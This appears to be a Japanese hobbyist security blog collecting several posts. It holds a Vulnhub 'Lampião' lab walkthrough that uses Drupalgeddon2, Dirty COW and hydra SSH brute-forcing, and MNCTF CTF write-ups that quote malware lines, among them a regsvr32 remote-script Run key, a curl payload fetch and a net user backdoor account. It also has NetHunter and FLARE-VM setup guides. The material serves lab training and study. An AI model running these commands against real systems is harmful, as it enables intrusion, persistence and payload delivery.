うさブロ

ぼっちなうさぎのセキュリティラボ

とある親父の侵入実験【Vulnhub Walkthrough - Lampião: 1】

f:id:appleseedj073:20180311215026p:plain

最近、VulnhubというVMのイメージを公開しているサイトを活用してぺネトレーションテストのお勉強。

今回は「Lampião: 1」をやってみる。説明からは「脆弱性のあるマシンを作ったからrootを取ってね」という事なんでroot取るのを目標にがんばる。レベルはイージーらしい。

Would you like to keep hacking in your own lab?

Try this brand new vulnerable machine! "Lampião 1".

Get root!

Level: Easy

 

まずはイメージを落としてきて起動。

f:id:appleseedj073:20181014151624p:plain

当然ここからログインなんてしませんw

なので、自分のKaliで対象のサーバーにログインを試みますよ・・・。ってこいつのIPアドレス何??

相手のIPもわからなければ、自分にどんなIPが振られているかもわからないのでそこらへんから確認する。

root@kali:~# netdiscover -r 192.168.100.0/24

f:id:appleseedj073:20181014192936p:plain

このnetdicoverコマンドで、指定したセグメント内のホストを探している。そしたら、192.168.100.128というホストが見つかった。これがターゲット。

ターゲットのIPが、わかったら調査開始。まずはポートスキャンから

root@kali:~# nmap 192.168.100.128 -p- -A -n

f:id:appleseedj073:20181014200331p:plain

f:id:appleseedj073:20181014200345p:plain

判明したことは・・・

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)

80/tcp open http?

1898/tcp open http Apache httpd 2.4.7 *1
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Lampião

こんな感じにポートが解放されている。

sshは、ユーザ名とパスワードがわからないままでは使えないので後にする。

httpが、空いているようなのでアクセスしてみる。

f:id:appleseedj073:20181014200815p:plain

これといって収穫なし。

次に、1898番にアクセスしてみる。多分こっちが本命。DrupalとかApacheが動いている様子。

f:id:appleseedj073:20181014201447p:plain

色々と情報を持っていそうなサイトが表示された。多分ここから切り崩していくんだと思う。

 

余談だが、このサイトに書かれていたのは、タイトルにもなってるLampião(ランピオン)についての内容だった。このランピオンとは、19世紀末からブラジル北東部で活躍した義賊「カンガセイロ」で活動していた人物の名前。

 

次にサイトの構成情報を取る。

root@kali:~# dirb http://192.168.100.128:1898/

f:id:appleseedj073:20181014203044p:plain

robots.txtがあったのでアクセスすると

f:id:appleseedj073:20181014203702p:plain

CHANGELOG.txtを発見。

f:id:appleseedj073:20181014203714p:plain

中を確認したらDrupalのバージョンが判明した。

 

Drupal 7.54に脆弱性がないかググってみると・・・あった!!

www.exploit-db.com

metasploitでも使えるのかsearchsploitで調べてみる。

root@kali:~# searchsploit Drupalgeddon2

f:id:appleseedj073:20181014204314p:plain

いけそうw

Metasploitを起動して、Drupalgeddon2を探してみる。

msf > search Drupalgeddon2

f:id:appleseedj073:20181014211132p:plain

msf > use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) >

オプションを確認して必要事項を入力してexploitする。

msf exploit(unix/webapp/drupal_drupalgeddon2) > set RHOST 192.168.100.128
RHOST => 192.168.100.128
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RPORT 1898
RPORT => 1898
msf exploit(unix/webapp/drupal_drupalgeddon2) > exploit

[*] Started reverse TCP handler on 192.168.100.133:4444
[*] Drupal 7 targeted at http://192.168.100.128:1898/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Sending stage (37775 bytes) to 192.168.100.128
[*] Meterpreter session 1 opened (192.168.100.133:4444 -> 192.168.100.128:39994) at 2018-10-14 21:06:22 +0900

meterpreter >

侵入成功

metarpreterのコマンドで調査

meterpreter > sysinfo
Computer : lampiao
OS : Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686

Linuxカーネルが判明した。

他に取れそうな情報もなさそうなのでshellで中に入ってみる。

meterpreter > shell
Process 7565 created.
Channel 0 created.
whoami
www-data
pwd
/var/www/html

ユーザは「www-data」で/var/www/htmlにいるのがわかった。

su
su: must be run from a terminal

suコマンドをしてみたらターミナルからじゃないので怒られたので、とりあえずpty作って再度挑戦

python -c 'import pty;pty.spawn("/bin/sh");'

$ su
su
Password:

パスワード求めらるようになったけど、知らないから無理w

なんとかして権限昇格したいから脆弱性がないか内部を調査する。

まずはツールの準備としてこの二つを準備

github.com

github.com

準備できたら、ターゲット側からダウンロードできる様にサーバーを立ち上げて待ち受けるなどしておく。ターゲット側に調査用のツールを送り込んだらそれぞれ実行する。

linux-exploit-suggesterの結果からdirtycowが使えそうなことが判明。

f:id:appleseedj073:20181014220949p:plain

またLinEnumの結果からg++も使えそうなのでコンパイルに関しても問題はなさそう。

f:id:appleseedj073:20181014221115p:plain

と、いうことでdirtycowのコードを送り込んでコンパイルして実行

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

f:id:appleseedj073:20181014221826p:plain

rootのパスワードが書き換わったので権限昇格可能になった。

一度セッションが切れてターミナル落ちたから再度開いてsu -でrootへ。

f:id:appleseedj073:20181014222223p:plain

rootのディレクトリ内を確認したらflag.txt発見

f:id:appleseedj073:20181014222829p:plain

flag.txt : 9740616875908d91ddcdaa8aea3af366

root権限も取れて、フラグも見つけたので終了

ちなみにこのフラグのハッシュ値が気になって調べてみると/var/www/html/lampiao.jpgのハッシュ値だった。

f:id:appleseedj073:20181014223503p:plain

この画像を開いてみると・・・

f:id:appleseedj073:20181014223718p:plain

ランピオン(Lampião)ことビルグリーノ・フェレイラ・ダ・シルバが、こちらに銃を向けてる画像でした。

 

 

 

さて、root取ってフラグ見つけたけど自分の中では、サーバへの侵入方法が「metasploitを使った」というのが少し納得がいかない。もう少し綺麗に侵入できないのか調べてみると別ルートでの侵入方法があったので、そこの部分だけ抜き出して解説。

 

Lampiãoのサイトをよく見てみると、投稿者が二人いることが確認できる。

 

f:id:appleseedj073:20181014225805p:plain

f:id:appleseedj073:20181014225816p:plain

tiagoとederの二人がこのサイトに関係しているユーザのようだ。そこで、この二人の名前のユーザリストを作成する。

echo tiago > userlist
echo eder >> userlist

次にパスワードリストをこのLampiãoのサイトで使用されている単語をもとにパスワードリストを作成。(ちょっと時間空いたからIPアドレスが変わってるけどターゲットには変わりは無し)

cewl -w wordlist http://192.168.136.212:1898/?q=node/1

f:id:appleseedj073:20181014234720p:plain

このuserlistとwordlistを使ってhydraでブルートフォースする

hydra -L userlist -P wordlist ssh://192.168.136.212

f:id:appleseedj073:20181014234734p:plain

tiagoのパスワードがVirgulinoと判明した。この情報をもとにsshで接続する。

f:id:appleseedj073:20181014235006p:plain

見事にログイン成功!metasploitを使用する事なく与えられた情報を活用して侵入できた。

 

まとめ

脆弱性を活用できるか調べるためにも、ターゲットのサービスやOSのバージョンを知ることがとても重要。管理者権限を持っていなくてもかなりの情報を集めることは可能。すぐにmetasploitを起動するのではなく先ずは調査(自分への戒めw)

 

MNCTF2018 writeup

f:id:appleseedj073:20180712201142j:image

久しぶりのCTFに参加してきました。もう毎年恒例の行事になりつつあるMACNICAさんのMNCTF!

今年は、昨年までと違って気が楽!だって、変に勝ちを意識しなくて良いからw (まぁ、意識していても勝っていた訳じゃないですけどねw)今日は、問題を解く事を楽しんで、夜の懇親会で美味しいお酒を飲む!そんな気持ちで参加しました。(そのせいで、あとで痛い目を見ることになるけど…。)

戦績は振るわなかったけど、今はとっても清々しい(きよきよしい)気持ちです!

 

今回は、過去の設問とは雰囲気が変わって、本当にインシデントに対応している様な短編ストーリー仕立てで面白かった!やっぱり、他のCTFに比べると実務よりで面白いと思います。あと、今年は全体的にマルウェアの解析を解析するところから導入していく問題が多かったと思います。これは、実際の現場でメール等で着弾したり感染してしまってからインシデントレスポンスに当たることからなのかな?と勝手な解釈しつた問題を解いてました。

 

今回の問題は… 

f:id:appleseedj073:20180712235323p:plain

 

練習問題

いつも通りの点呼問題

 

新人奮闘Ⅰ

マルウェアのSHA-256を答える問題

shasum -a 256 AD_OptimizationTool.exe f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29 

 

新人奮闘Ⅱ

マルウェアの解析レポートを作っていく問題。指定されたサイトで穴埋め。

f:id:appleseedj073:20180712212921p:plain

入力する項目は

 

Windowsマシンをしっかりと仕上げて来なかったことがここにきて災いしてツールがないことに苦戦w

仕方ないから検体をそのままVirusTotalへ投げてみた!そしたら既に誰かが投げてした様子w そこから必要な情報を入手できた。

f:id:appleseedj073:20180712213822p:plain

f:id:appleseedj073:20180712213847p:plain

f:id:appleseedj073:20180712213900p:plain

 

新人奮闘Ⅲ

次は、このマルウェアを実行した時に実行されるコマンドを答える問題。これは何も考えないでstringsコマンドに投げたらコマンドが見えた。

net user /add /domain vpnadmin P@ssw0rD1!

 

新人奮闘Ⅳ

次の問題はフォレンジックということで、マルウェアVPNに接続しているらしいのでログを調査して接続した時間を答えるというもの。

ちなみに前の問題で、net userコマンドを使ってvpnadminというユーザーを作成しているのがわかっているので、指定されているログファイルからvpnadminを検索してみる。

f:id:appleseedj073:20180712215227p:plain

 

新人奮闘Ⅴ

先ほどのログから判明したIPアドレスから攻撃元の国を答える問題。

深読みしすぎて「IPアドレス ロケーション」で検索して出てきたサイト

www.iputilities.net

ここにIPアドレス「27.117.128.1」を入力したら

f:id:appleseedj073:20180712215752p:plain

ということで、大韓民国(なんでか正式名称w)と入力

新人奮闘シリーズはこれにて終了。マルウェアの解析から攻撃元の特定までと面白いシナリオだと思った。

 

大量不正

大量のマルウェアの中から類似性のあるもの見つけて答える問題。指定されたファイルをダウンロードして解凍すると中には100個のファイルが・・・。とりあえず、ハッシュ値を求めてソートしたけど一致するものなんてない。多分、ファジーハッシュを出して比較するpythonを書かないとダメなんだろうなぁ(毎回MNCTFではpythonを即興で組み上げる問題があるから)と、いうことでこれは無理と判断してスルー。しかし、午後の解説を聞くとssdeepコマンドで簡単に出せるらしいw

でも、macだとインストールしないとダメだから準備不足の自分は結局解けなかった事は揺るがないwww

とりあえずインストールして検証してみると・・・

ssdeep -bcdr *

"sample68.bin","sample1.bin",99

内容的には「sample68.bin」と「sample1.bin」が99%の類似性があるという事らしい。

 

種類特定

やっと出てきたネットワーク問題。pcapファイルを解析してマルウェアの名前を答える問題。MNCTFでpcapファイル問題が出た時は、とりあえずwebに投げる!という独自理論のもとPaketTotalにファイルを投げるw

すると・・・

f:id:appleseedj073:20180712221541p:plain

ここで問題がw

マルウェアの名前を「Ursnif」と何度解答しても不正解(T ^ T)

結構な時間をロスしてしまい諦めて午後の解説を待つことに。そしたら午後の解説で驚愕の新事実が!!解答がスペルミスしていたようでしたw でも、この「Ursnif」には別名が「GOZI」らしく正解していた人はそっちを答えてみた様子。別名を調べられなかった自分のミス。

 

標的攻撃Ⅰ

今度は標的攻撃シリーズw フィッシングメールに添付されたエクセルファイルを解析する問題。このファイルは、サンドボックスでは解析できなくて特定のユーザでのみ起動する仕掛けがあるという。そこで、その標的となったユーザを調べる。

ここで大問題!私の解析用WindowsにはOfficeが入っていないwww

エクセルはせいぜいログファイルとかでしか使われないし、macにNumber入ってるし何とかなると思っていたらExcelのmacroっぽい。とりあえずテンパりながOpenOfficeをダウンロードしてインストール。何とか開くと

f:id:appleseedj073:20180712222830p:plain

このマクロは、エクセルの使用者名とエクセルの表中のC列の値を比較して名前が値に含まれているならマクロの実行が行われるようだった。エクセルの表からC列を確認してみると当初C列は非表示になっていた。これを表示させて値を確認すると以下の名前が出てきた。この名前のどれかを答える。

  • Yasu Kobayashi
  • Take Teshigawara
  • Soichi Yamamoto
  • Tada Okuno
  • Yoshi Hatakeyama
  • Sho Shinogi

ちなみに何も考えずに「勅使河原」とか「Teshigawara」と入力したのは内緒ですw

 

標的攻撃Ⅱ

次は攻撃が発動した際に発生するHTTPSの通信のURLを答える問題。これは、先ほどのマクロの中に書かれていたのでそれを答える。

https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert

 

標的攻撃Ⅲ

通信を終えると、別のファイルが生成され、そこから2次ファイルが生成されるので、そのファイルのSHA256を答える。何度か、マクロを書き換えて実行させようとするも慣れないOpenOfficeもありうまく動作せず時間ばかり食い断念。

マクロを動かせないので、マクロと同じように動作させるようにしてみる。

マクロはURLからファイルをGETしてcert.pemとして保存。certutilコマンドでcert.pemをデコードしてcert.exeとして保存しているので、まずはcurl コマンドでgetしてファイル名「cert.pem」にして保存。

curl -X GET https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert > cert.pem

このファイルをWindowsに移動させて

certutil -decode cert.pem cert.exe

これでマクロと同じものが出来上がってあとはSHA256を計算すればOK

shasum -a 256 cert.exe c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382

午後の解説前に試してみたらこの値が出た。競技中は何かが違っていたみたいでこの値じゃなかったw

 

標的攻撃Ⅳ

前の設問でできた2次ファイルを実行すると発生するHTTPSの通信先のURLを解答する。これも、解説前に出来上がったファイルを実行したらそれっぽいのがすぐに見つかった。

f:id:appleseedj073:20180712230034p:plain

https://shinobotps1.com/download_get.php

 

穴埋防御

不審なファイルを解析し、Yaraルールを完成させる問題。競技中は「Yaraルール」の文字が見えたので敬遠したw

解説を聞いたので試してみる。まずYaraルールを確認してみると

f:id:appleseedj073:20180712230629p:plain

必要な情報はMutexらしい。次に不審なファイルを確認すると何やら難読化されてる感じ。これはBase64エンコードされているのでこれをデコードする。この時に活用できると紹介されたのが「CyberChef」というサイト。このサイトは、いろんな形へのエンコードやデコードが出来る優れもの。

gchq.github.io

このサイトで難読化されているデータをデコードする。

デコードするとpowershellスクリプトが現れる。そしてこのスクリプトの中にもまたbase64エンコードして、XORもしているデータが見つけられる。

f:id:appleseedj073:20180712231750p:plain

まず、このbase64エンコードされている部分を切り取りCyberChefに貼り付けてデコード

f:id:appleseedj073:20180712231949p:plain

これをXORすると

f:id:appleseedj073:20180712232058p:plain

MZで始まるようになったのでこれをexeファイルとして保存して解析する。

IDAで開き確認すると

f:id:appleseedj073:20180712233036p:plain

Mutexは「1q2w3e4r0o9i8u7y6t」になる。これは、完全に検討つかなかったので勉強になった。

 

盗聴情報

最後の問題は、「XOR(シングルバイトキー)→ Base64 → ROT13」というアルゴリズムで暗号化されたファイルを復号して答える問題。アルゴリズムがわかっているので逆順でやればいいんだろうと予想し、多分pythonで組むのかな?と思った時点で諦めていたwww

実はこれもCyberChefで解けると聞いて驚いた。

ファイルをCyberChefにアップロードして、ROT13、Base64と復号してXORはシングルバイトキーということなのでBrute Forceを使うという。

f:id:appleseedj073:20180712233905p:plain

そうするとキーが15の時に「PNG」という文字とpngファイルに含まれる「IHDR」という文字が。ということで15でXORして拡張子をpngにして保存する。

f:id:appleseedj073:20180712234243p:plain

 

まとめ

今回のMNCTFは、冒頭で述べたとおり今までと違いシナリオ構成になっていて解いていくのが楽しかった。何よりもワクワクした。競技での成績は悪かったけど今回は過去最高の満足度でした。

そして、CyberChefというサイトの便利さが半端ないということを学べて良かった。

f:id:appleseedj073:20180712235027p:plain

作戦は奇を以って良しとすべし MNCTF2017 WriteUp

f:id:appleseedj073:20170714234724j:plain

作戦は奇を以って良しとすべし

凡そ戦いは、正を以て合い、奇を以て勝つ。故に善く奇を出だす者は、窮まり無きこと天地の如く、竭きざること江河の如し。終わりて復た始まるは、四時是れこれなり。死して更生ずるは日月これなり。

さてMNCTFの時期がやってきましたよ。2015年の第一回から参加して今回で三回目!

そろそろ上位に食い込みたい!w

 

だから今年は、一丁前にMNCTFの対策?を練ってみました。

  1. 使用するツール類は、他のCTFと違って無料のツールでなんとかなる!
  2. 多分、今年もクロスワードが出る。
  3. 去年よりテクニカル系の問題が増えるかもしれない。個人的な感覚として2015年がツールを駆使する系、2016年はブラウザーだけでもなんとか頑張れる系と思いましたw(勝手な憶測ですが、2015年が難しかったから、2016年は簡単にしたのかな?とも考えてました)
  4. キーワードは「てしがわら君」!
  5. 問題傾向は、実際のインシデントに則った内容になる。
  6. 過去のWriteUpで紹介されたツールはインストールし、紹介されたWebサイトはブックマークする。

と、妄想作戦会議を経て今年も参加してきました、Macnica Networks DAY 2017!
そしてMNCTF2017に!

f:id:appleseedj073:20170708081634p:plain

 

今年は、CTFの後になっと解説してくれるという至れり尽くせり感あるプログラムw

f:id:appleseedj073:20170708081957p:plain

だから、WriteUpとか書いちゃうと権利関係でやばいかな?って思っていましたよ。でも、そんなことはなかったようなので、毎年恒例になった「覚え書き」と「反省」を兼ねた無駄な手順満載のWriteUpを書いておこうと思います。説明聞いたけどわからない部分もあったので実際に解けた問題と、あと少しだった問題のみをまとめます。

 

今年の問題は以下のようなラインナップ

f:id:appleseedj073:20170708082533p:plain

 

1.練習問題

f:id:appleseedj073:20180707221703p:plain

 安定の点呼

 

2.昇進試験

 予想通りのクロスワード

f:id:appleseedj073:20180707221725p:plain

今回は、Linuxのコマンド!

f:id:appleseedj073:20180707222321p:plain

結構、知らないコマンドあった。

 

3.通信記録

予想通りのネットワーク問題。

「パケットキャプチャを解析し、突かれた脆弱性の名前を答えてください。」

本番では一生懸命、pcapファイルをwiresharkで展開して眺めて答えを見つけたけど実は、お馴染みのVirustotalに投げると・・・

f:id:appleseedj073:20180707223317p:plain

ここに問題のpcapを投げてスキャンすると

f:id:appleseedj073:20180707223543p:plain

WannaCryの通信だと検出してくれる。なんて便利なんだ!w

で、求められているのは突かれた脆弱性の名前なんで、WannaCryで使用された脆弱性といえば「EternalBlue」ということになる。

 

4.不審起動

 不審なレジストリが見つかり、不審なスクリプトが実行された。そのスクリプトの通信先のFQDNを答えるのが問題。

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"COM"="regsvr32 /s /n /u /i:https://pastebin.com/raw/8CUEUgix scrobj.dll"

とりあえず、レジストリの中にある「https://pastebin.com/raw/8CUEUgix」にアクセスしてみる。すると、やたら難読化されたJScriptが出てくる(なんか作問者の好みが垣間見えるw)ので、まずは難読化を解く。するとurlとかいう記述がある。

f:id:appleseedj073:20180707225448p:plain

この中のurlの部分をさらに変換

f:id:appleseedj073:20180707231206p:plain

すると「https://mtip.macnica.net」が出てくる。

 

5.脅迫文書

脅迫文のようなメールが来たという設定。そして、写真にアドレスが記載されたメモが。

f:id:appleseedj073:20180707231648p:plain

「.onion」というのが見えるので、Tor Browserでアクセスしてみる。

f:id:appleseedj073:20180707232051p:plain

パスワードを入力しろ的なサイトに接続される。ここで、メモに書いてあるパスワード「0b3y!!」を入力すると

f:id:appleseedj073:20180707232200p:plain

答えが表示される。

 

6.攻撃痕跡

フォレンジックスの問題。ログファイルと攻撃者が残したファイルがある。

攻撃者の残したファイルのなかにあからさまに怪しいファイル達がある。この中に「sqlite.ex_」があってどうみても怪しかったのでログファイルの中で検索してみる。

 

06/27/2017 21:11:57.763,13Kamakura,LOCAL SYSTEM,45632,53651,"""C:€Program Files (x86)€\Tencent€\RTXC€Plugins€bizmailclient€sqlite.exe"" a -m5 -hpFnckyou123 ""C:€Program Files (x86)€\Java\€jre7€\bin\€client\€jvm.dat"" c:\users\Administrator\Desktop\*.xlsx",8babc98395f0d8fc0968982237b1bc8f

1行ヒットする。このログを読んでみるとsqlite.exeを使ってエクセルファイルをjvm.datにしてるような感じに見える。

このjvm.datを調べてみると

f:id:appleseedj073:20180708003146p:plain

rarファイルらしい。拡張子をrarに変えて開こうとするとパスワードを求めてくる。

f:id:appleseedj073:20180708003327p:plain

パスワードなんて?と思ったらコマンドの中にそれっぽいのがあったの(「Fnckyou123」)で入力する。

f:id:appleseedj073:20180708003646p:plain

中に4つファイルがあり、問題は「盗まれたファイルの中で最も重要と思われるファイルの名前(拡張子なし)を答えてください。」なので「serverpassword」を答える。

 

7.賭博遊戯

これは、解けなかった。

Chromeデベロッパーツールを使ってを値を上手く改ざんして解くらしい。前回にも似たような問題があったのにできなかった。

 

8.宛先暗号

マルウェアの通信先FQDNを問われてる。与えられたものは、マルウェア本体と一緒にあったファイル、それにエンドポイントのログ。ヒントを元にログを検索してみる。

 

06/28/2017 12:38:32.910,TESHIGA-PC,tessy,svchost.exe,4128,svchost.exe abcd vm.dat,7cd491ed51b4e6da2ac468611f240621,2168

 

するとこんなログがあった。とりあえず現段階では、イマイチわからないので実際にこのマルウェアを動かしてみた。すると

f:id:appleseedj073:20180708005959p:plain

使い方的には svchost.exe rc4のカギ ファイル らしい。要するに「svchost.exe abcd vm.dat」これで外部と通信するようなのでやってみる。

wiresharkを起動しコマンドを指定通りに実行すると

f:id:appleseedj073:20180708011816p:plain

見事に通信発生!

その中に見慣れた通信先がw

f:id:appleseedj073:20180708011855p:plain

9.情報照合

解けなかった。APIを使ってハッシュを検索するようなんだが、説明を聞いてもイマイチ理解できなかった。解けた人は、その場でプログラムを書いていたようなことを聞いた。

 

10.脆弱会話

 これも解けなかった。バッファーオーバーフローを起こさせるexploitを完成させるらしい。

 

まとめ

今回もさんざん偉そうに作戦を練ったもののいつも通りの成績で終了。来年に繋げられるかな?って感じでした。でも、他のCTFに比べてもとても業務に直結してるスキルを問われるので毎回とても勉強になっている。来年もぜひ参加したい!

 

2018/07/08追記

このブログ、去年の今頃にまとめたようなんだけど何故かアップされずにいてビックリ。そろそろMNCTF2018だから自分で振り返ろうとしたら書いたはずのブログが見つからなくてかなり焦ったしw

とりあえずこのままお蔵入りするのも寂しいから少し手直してアップします。

ご注文はスマホですか? 【NetHunterの作り方(Nexus 5)】

f:id:appleseedj073:20171230002835p:plain

12月2日にこんな話をする機会をいただきました。

speakerdeck.com

ハッキングガジェットに関する話で、実際の展示とかを失敗を交えながら披露させてもらえましたw

 

 

今回はLTで紹介した「NetHunter(Nexus5)」の作り方をまとめてみた。

そもそもNetHunterとは何かと言うと、Androidスマホスマホ用にカスタマイズしたKali  Linuxペネトレーションツール)をインストールしたってことでいいかなw(←テキトー)

f:id:appleseedj073:20171217003330j:plain

Kali Linuxのサイトに行く度にちらほらと名称は見かけていたんだけどなかなか手が出せなかった(いろんな意味でw)

でも今回、覚悟を決めて中古のNexus5を購入し作ってみた!

---注意!---

ここから先の内容は、Androidのメーカー保証を受けれなくなるような改造を含みます。正規の使用法を完全に逸脱する内容です。何か起きても自己責任になります。それでも良い!と言うようなお金持ちか、私と同じくらい狂ってる人だけがこの先を見てください。

 

 

 

 

 

 

 

 

 

 

 

 

ここまできたって事は、だいぶ変態ですねw 

材料

Nexus 5

環境

MacBook Pro (Sierra)

PCからAndroidをいじくるには、「adb」とか、「fastboot」と呼ばれるものが必要になります。これらのインストールについて語ると長くなるし、ググればそれぞれの環境にあったインストール方法を紹介してくれるサイトがわんさかあるので、既にインストール完了している前提で話は進みます。

 

とりあえずオフィシャルのリンクは以下に貼っておきます。

github.com

このサイトにはAndroidのどのバージョンがサポートされているかがまとめてある。(てか、やりようによってはNexusじゃなくてもインストール可能らしい)

ダウンロード

安定版は以下のサイトからダウンロードすればOK

www.offensive-security.com

多少不安定でもいいから最新のイメージを使いたいなら以下のサイトからダウンロードするように書いてあるので自己責任でどうぞw

https://build.nethunter.com/nightly/

この時、注意しなくてはならないのが、新規インストールの場合は「nethunter-generic-[arch]-kalifs-*.zip」と「kernel-nethunter-[device]-[os]-*.zip」が必要になり、最後にカーネルをフラッシュしてやる必要があるとかないとか書いてある。

セットアップ

ツールの準備

今回、自分の環境がMacなんで、LinuxOSX用に用意された「NetHunter Linux Root Toolkit(LRT)」を使ってインストールしていく。(Windowsは、Nexus用のGUIツールがあるらしい)

Linux/OSX

github.com

Windows

www.wugfresh.com

まずは、上記GithubからLRTをダウンロードして展開する。この後は、ここに書いてある通りに必要なものを集めるだけ!

「Nethunter-LRTディレクトリに移動する。

 cd Nethunter-LRT/

中はこんな感じ

f:id:appleseedj073:20180101174156p:plain

Factory Imageのダウンロード

次にGoogle から、Nexus5の Factory Imageをダウンロードしてきて「stockImage」に入れる。下のリンクからFactory Imageのダウンロードサイトに飛んでNexus5の項目を見つけてダウンロード。公式でインストールできるバージョンが、5.1.1と6.0.1と言っている。今回は5.1.1を選択(それでも一番新しそうな奴を選んでみる)

https://developers.google.com/android/images

f:id:appleseedj073:20180101162013p:plain

TWRPのダウンロード

次の手順は、以下のTWRP WEBから、Nexus5のTWRP Imageをダウンロードして「twrpImage」に入れる。

twrp.me

サイトにアクセスしてデバイス名(ここではNexus5)を入力すると候補が出てくるので「LG Nexus 5(hammerhead)」を選択してダウンロードしてくる。

f:id:appleseedj073:20180101162850p:plain

SuperSu(BETA)のダウンロード

同じく、以下のサイトからSuperSuをダウンロードする。

f:id:appleseedj073:20180101164057p:plain

全てのファイルをダウンロードして配置した状態はこんな感じ

f:id:appleseedj073:20180101174325p:plain

 この時、ダウンロードしてきたzipファイルや、imageファイルの名前を変更しちゃダメです。

 

デバックの有効化(開発者向けオプション)

1.Nexusの設定から端末情報を選択

f:id:appleseedj073:20180101180037p:plain

2.ビルド番号を何回かタップする

f:id:appleseedj073:20180101180137p:plain

 

3.端末情報の上に開発者向けオプションが表示される

f:id:appleseedj073:20180101180251p:plain

4.USBデバックを許可する

f:id:appleseedj073:20180101180405p:plain

 

f:id:appleseedj073:20180101180428p:plain

これでNexusの準備は完了

 

インストール

NexusをPCに接続してコンソールを起動する。

 

1.次のスクリプトを実行して端末のロックを解除する。

 ./oemUnlock.sh

f:id:appleseedj073:20180108001143p:plain

全ての処理が終了するともう一度開発者向けオプションを有効化してUSBデバッグを有効にする事を示される。

そして次の手順として「stockFlash.sh」を使用してイメージを入れ直すか、TWRPとsuperSUとNethunterがインストールされる「twrpFlash.sh」を実行する事を示される。今回は「stockFlash.sh」を使用してイメージを入れ直す。

 

2.再度端末のUSBデバッグを有効にした後に以下のコマンドを実行しダウンロードしてきたファクトリーイメージを書き込む。

 ./stockNexusFlash.sh

f:id:appleseedj073:20180108002822p:plain

 

f:id:appleseedj073:20180108002651j:plain

何度か自動で再起動するので待機(5分くらい?)

f:id:appleseedj073:20180108003016p:plain

コンソールでここまでくると処理は終了してして端末側が初回起動状態になってる。とりあえず適当に入力して再度、USBデバッグを有効にするところまで実行

上の図のように次の手順が示されている。

 

3.TWRP、superSU、Nethunterのインストールを実行する「twrpFlash.sh」を実行

 ./twrpFlash.sh

f:id:appleseedj073:20180108003625p:plain

再起動した後にTWRPがインストールされてユーザからの入力待ち状態になる。

f:id:appleseedj073:20180108003950p:plain

端末側

f:id:appleseedj073:20180108004219j:plain

この状態で、端末側では何も操作せずコンソール側で何かキーを押す。

インストールが始まり、端末側とコンソール側で以下のような感じになる。

f:id:appleseedj073:20180108004639p:plain

のんびりと・・・

優雅に・・・

 

待機w(それなりに時間かかる)

f:id:appleseedj073:20180108005227p:plain

最後にコンソールに上図のようなメッセージが流れたら無事に終了!

f:id:appleseedj073:20180108005439j:plain

端末側でもKALIの起動ロゴアニメーションが表示されている。

 

4.最後にカーネルのアップデートを行うので、一度電源を落としてボリュームダウンボタンと電源ボタンを押して起動。するとブートローダーが起動するのでリカバリモードを選択してTWRPを起動する。

用意していたカーネルを端末のダウンロードディレクトリに入れておく。(別に自分がわかるなら何処でもOKだと思う)

f:id:appleseedj073:20180108010432p:plain

端末側はTWRPのメニューから一番左上のインストールを選択

f:id:appleseedj073:20180108011305j:plain

次の画面ではダウンロードディレクトリを選択

f:id:appleseedj073:20180108011357j:plain

カーネルを選択して、右下のインストールイメージを選択

f:id:appleseedj073:20180108011435j:plain

画面下をスワイプしてインストール開始

f:id:appleseedj073:20180108011523j:plain

インストールが終了したら右下の再起動ボタンを選択

f:id:appleseedj073:20180108011600j:plain

Nethunterを起動すると一度だけ聞かれるので許可する。

f:id:appleseedj073:20180108011951j:plain

これでインストールが完了!

f:id:appleseedj073:20180108012117j:plain

 

まとめ

Nexusへのインストールに関しては資料やツールも多いので簡単に作れると思うw いちおオフィシャルではNexus以外の端末でもインストール可能と表示しているがちょっと敷居が高そうにも思える(個人的には)今、Nexus5や、6あたりは中古市場で安いのが出回っているのでインストールして見るのも楽しいかもしれない⁉︎

 

 

 

 

Re:ゼロ円から始める解析者生活 【解析環境】

f:id:appleseedj073:20170815221420p:plain

前回までの話

ra66itblog.hateblo.jp

 

ra66itblog.hateblo.jp

 解析環境

仮装環境を導入して、日本語化も済んだのでいよいよ解析環境を構築していきたいけど、1から揃えるのは何気に骨が折れる・・・。そこで今回は、これを利用する。

github.com

「FLARE-VM (FLARE:FireEye Labs Advanced Reverse Engineering)」これはFireEye社から出ている解析環境のイメージらしいです。しかも、無料!

とりあえず、天下のFireEyeが出してる環境なら間違いないってことで、こいつを組み込んでいきますw

で、Githubから落としても出来そうなんだけど「インストールや使い方に関してはブログみてね」って書いてあるのでブログの流れで実施します。

www.fireeye.com

 

1. 上記サイトにアクセス

2. リンクをクリック

f:id:appleseedj073:20171105004827p:plain

3. リンク先からファイルをダウンロードして実行

f:id:appleseedj073:20171105005037p:plain

4. 「実行」を選択

f:id:appleseedj073:20171105005455p:plain

5. インストーラのダウンロードが始まる

f:id:appleseedj073:20171105005510p:plain

6. インストーラのダウンロードが完了したら実行

f:id:appleseedj073:20171105005522p:plain

7. 一度だけパスワードの入力を求められる(インストール時の再起動に利用)

f:id:appleseedj073:20171105005540p:plain

8. あとはインストールの完了を待つだけ。

f:id:appleseedj073:20171105005551p:plain

9. 何度か再起動して待っているとインストールが完了する

f:id:appleseedj073:20171105013906p:plain

 

